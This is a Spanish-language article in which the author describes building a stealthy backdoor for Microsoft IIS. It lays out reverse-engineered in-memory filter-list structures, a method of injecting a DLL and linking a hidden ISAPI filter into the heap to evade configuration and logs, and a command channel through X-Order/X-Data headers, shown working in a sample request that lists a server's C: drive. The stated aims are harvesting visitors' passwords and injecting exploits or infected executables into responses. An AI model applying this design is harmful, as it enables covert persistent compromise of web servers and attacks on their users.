
En este artículo explicaré cómo diseñé un rootkit para el servidor web Microsoft Internet Information Services (IIS). La pregunta es: ¿por qué un backdoor en un servidor web?
La primera respuesta obvia pero inútil: porque podemos.
Bien, demos una respuesta más inteligente. El propósito de poner un backdoor en un servidor web es doble:
Permite al atacante acceder a los datos enviados por los clientes. Por ejemplo, si el sitio web está protegido por contraseña, podemos recuperar esa contraseña.
Permite inyectar un backdoor sobre la marcha en cualquier cosa enviada desde el servidor al cliente web.
Este segundo punto es especialmente interesante, ya que permite al atacante inyectar el exploit adecuado según el navegador web que solicita la página, o infectar un ejecutable descargado del servidor. Backdoor en IIS
IIS es el servidor web de Microsoft, una pieza importante de las tecnologías web de Microsoft, como OWA. Se han publicado muchas versiones, desde la primera (IIS 1.0 bajo Windows NT 3.51) hasta la más reciente (IIS 7.5 bajo Windows Server 2008). Está ampliamente desplegado en Internet y en las intranets de las empresas. Ampliación de IIS
Microsoft ha definido una API conocida como ISAPI (Internet Server Application Programming Interface) para ayudar a los desarrolladores a añadir funciones a IIS. Se pueden añadir dos tipos de componentes a IIS: extensiones o filtros. Extensiones ISAPI
Las extensiones son DLL que exportan 3 funciones:
GetExtensionVersion
HttpExtensionProc
TerminateExtension
Las extensiones son aplicaciones que se ejecutan dentro de IIS. IIS las carga cada vez que las necesita. Las extensiones acceden al contenido de una solicitud y son responsables de responder al cliente. Por ejemplo, si un cliente solicita la página http ://mydomain/myextension, donde myextension es tu extensión registrada, se llamará a HttpExtensionProc de tu extensión. IIS le proporcionará la siguiente estructura:
typedef struct _EXTENSION_CONTROL_BLOCK EXTENSION_CONTROL_BLOCK {
DWORD cbSize;
DWORD dwVersion;
HCONN connID;
DWORD dwHttpStatusCode;
char lpszLogData[HSE_LOG_BUFFER_LEN];
LPSTR lpszMethod;
LPSTR lpszQueryString;
LPSTR lpszPathInfo;
LPSTR lpszPathTranslated;
DWORD cbTotalBytes;
DWORD cbAvailable;
LPBYTE lpbData;
LPSTR lpszContentType;
BOOL (WINAPI * GetServerVariable) ();
BOOL (WINAPI * WriteClient) ();
BOOL (WINAPI * ReadClient) ();
BOOL (WINAPI * ServerSupportFunction) ();
} EXTENSION_CONTROL_BLOCK;
De esta manera, HttpExtensionProc puede leer datos de la solicitud, procesarlos y enviar una respuesta usando las funciones de devolución de llamada ReadClient y WriteClient. Filtros ISAPI
Los filtros son DLL que exportan 3 funciones:
GetFilterVersion
HttpFilterProc
TerminateFilter
Los filtros se registran para una serie de eventos; cada vez que ocurre un evento durante el ciclo de vida de una solicitud, se llama a HttpFilterProc. Aquí hay una lista incompleta de eventos para los que un filtro puede registrarse:
SF_NOTIFY_PREPROC_HEADERS: ocurre cuando IIS ha terminado de preprocesar las cabeceras.
SF_NOTIFY_SEND_RESPONSE: ocurre cuando IIS está listo para enviar la respuesta al cliente
SF_NOTIFY_END_OF_REQUEST: ocurre cuando una solicitud ha terminado su ciclo de vida
SF_NOTIFY_LOG: ocurre antes de que IIS escriba el log de la solicitud actual
Cuando ocurre un evento para el que un filtro está registrado, se llama a HttpFilterProc del filtro y se le proporciona una estructura, dependiendo del tipo de evento. Por ejemplo, si se trata de un evento SF_NOTIFY_END_OF_REQUEST, IIS pasa al filtro la siguiente estructura:
typedef struct _HTTP_FILTER_LOG HTTP_FILTER_LOG {
const char * pszClientHostName;
const char * pszClientUserName;
const char * pszServerName;
const char * pszOperation;
const char * pszTarget;
const char * pszParameters;
DWORD dwHttpStatus;
DWORD dwWin32Status;
DWORD dwBytesSent;
DWORD dwBytesRecvd;
DWORD msTimeForProcessing;
} HTTP_FILTER_LOG, * PHTTP_FILTER_LOG;
Esta estructura contiene toda la información necesaria que un filtro necesita para registrar la solicitud entrante. Descripción general de extensiones y filtros
El siguiente esquema es una presentación general de cómo una solicitud de un cliente alcanza los filtros y las extensiones:
Schemaextfilts.png Filtro oculto
Para implementar mi backdoor en IIS, he decidido usar el mecanismo de filtros de IIS en lugar del mecanismo de extensiones, principalmente por razones de sigilo. De hecho, para llegar a una extensión, los clientes tienen que hacer una solicitud a una URL como esta: http ://mydomain/myextension. Mi extensión aparecería entonces en los logs del servidor. Si uso un filtro, se puede acceder a él solicitando cualquier página válida del servidor: es un comportamiento mucho más habitual.
Es posible registrar un filtro a través del panel de configuración de IIS (dentro de los archivos de configuración de IIS), pero esto es todo menos sigiloso. Decidí añadir el filtro manualmente en la lista enlazada de filtros de IIS. Para ello, inyecto mi dll en el proceso de IIS; la dll analiza el heap del proceso de IIS y se registra manualmente en la lista de filtros de IIS.
Se utilizan dos tipos de estructuras para mantener la lista de filtros de IIS en memoria. La primera es la siguiente:
typedef struct FILTER_LIST {
unsigned int Magic; "FLIS"
unsigned int unknown;
unsigned int NumberOfFilters;
PHTTP_FILTER_DLL * FilterPointerArray;
unsigned int unknown2[10];
unsigned int Flags1Sum;
unsigned int * Flags1;
unsigned int unknown3[10];
unsigned int Flags2Sum;
unsigned int * Flags2;
} FILTER_LIST , *PFILTER_LIST;
Tiene los siguientes miembros:
Magic : un DWORD mágico con el valor "FLIS".
NumberOfFilters : el número de filtros.
FilterPointerArray : un array de filtros.
Flags1Sum : la suma (con el operador lógico OR) de los eventos para los que están registrados todos los filtros.
Flags1 : un array de flags para los que está registrado cada filtro.
Cada filtro tiene su propia estructura HTTP_FILTER_DLL, que es la siguiente:
struct _HTTP_FILTER_DLL{
unsigned int Magic ; "FDLL"
PHTTP_FILTER_DLL pPrevious;
PHTTP_FILTER_DLL pNext;
void * ModuleBaseAddress;
void * HttpFilterProc;
void * GetFilterVersion;
void * TerminateFilter;
unsigned int unknown1;
unsigned int AcceptFlags1;
unsigned int AcceptFlags2;
unsigned int unknown2;
char * DllPath;
unsigned intunknown3;
unsigned intunknown4;
char String[DLL_PATH_SIZE];
unsigned int unknown5;
} HTTP_FILTER_DLL, *PHTTP_FILTER_DLL;
Magic : un DWORD mágico con el valor "FDLL".
pPrevious, pNext : punteros a la estructura HTTP_FILTER_DLL anterior y siguiente en la lista.
ModuleBaseAddress: dirección base del dll del filtro.
HttpFilterProc : dirección de la función HttpFilterProc del filtro.
AcceptFlags1: la suma (con el operador lógico OR) de los eventos para los que está registrado el filtro.
El siguiente esquema muestra cómo se organizan los filtros de IIS en memoria:
SchemaListNoHidFilt.png
Conociendo esta organización de memoria, es fácil añadir un nuevo filtro oculto en memoria. Para ello tenemos que encontrar la instancia de FILTER_LIST en el heap. Una vez encontrada, solo tenemos que añadir una nueva estructura HTTP_FILTER_DLL a la lista de HTTP_FILTER_DLL y añadir una referencia a ella en el array de filtros de la estructura FILTER_LIST:
SchemaListHidFilt.png Implementación del backdoor
El backdoor funciona con un principio muy simple. Los clientes envían solicitudes con cabeceras especiales que contienen órdenes, y el filtro responde añadiendo datos a la respuesta saliente. El filtro está registrado para los eventos SF_NOTIFY_PREPROC_HEADERS y SF_NOTIFY_SEND_RAW_DATA. Cuando llega una solicitud entrante, el filtro comprueba si las cabeceras X-ORDER y/o X-DATA están presentes en la solicitud; si es así y la orden es conocida, la ejecuta y responde. Como nuestro filtro es notificado para cualquier página del servidor, puedo solicitar cualquier página del servidor para comunicarme con mi filtro. Solo necesito añadir cabeceras especiales a una solicitud normal.
Si solicito una página simple (aquí /pwet.htm) sin añadir cabeceras, IIS tiene un comportamiento normal, es decir, la respuesta de IIS es la siguiente:
GET /pwet.htm HTTP/1.1
Host: 192.168.73.143
Accept-Encoding: identity
Connection: Keep-Alive
Content-type: application/x-www-form-urlencoded
Accept: */*
HTTP/1.1 200 OK
Date: Thu, 03 Feb 2011 12:16:50 GMT
Content-Length: 31
Content-Type: text/html
Last-Modified: Mon, 21 Jun 2010 11:53:19 GMT
Accept-Ranges: bytes
ETag: "963779573811cb1:994"
Server: Microsoft-IIS/6.0
<html>
Pouetpouet
</html>
Pero si solicito la misma página y añado una orden (aquí la orden es "ListDir" de base64("C:") ), entonces obtengo el siguiente resultado:
GET /pwet.htm HTTP/1.1
Host: 192.168.73.143
Accept-Encoding: identity
X-Order: ListDir
Connection: Keep-Alive
X-Data: Qzpc
Content-type: application/x-www-form-urlencoded
Accept: */*
HTTP/1.1 200 OK
Date: Thu, 03 Feb 2011 12:16:57 GMT
Content-Length: 353
X-Resp: OK
Content-Type: text/html
Last-Modified: Mon, 21 Jun 2010 11:53:19 GMT
Accept-Ranges: bytes
ETag: "963779573811cb1:994"
Server: Microsoft-IIS/6.0
<html>
Pouetpouet
</html>
[F] C:\AUTOEXEC.BAT
[F] C:\boot.ini
[F] C:\bootfont.bin
[F] C:\CONFIG.SYS
[D] C:\Documents and Settings
[D] C:\Inetpub
[F] C:\IO.SYS
[F] C:\MSDOS.SYS
[F] C:\NTDETECT.COM
[F] C:\ntldr
[F] C:\pagefile.sys
[D] C:\Program Files
[D] C:\System Volume Information
[D] C:\WINDOWS
[D] C:\wmpub
Así que poner un backdoor en un servidor web IIS no es tan difícil y puede darte muchas oportunidades...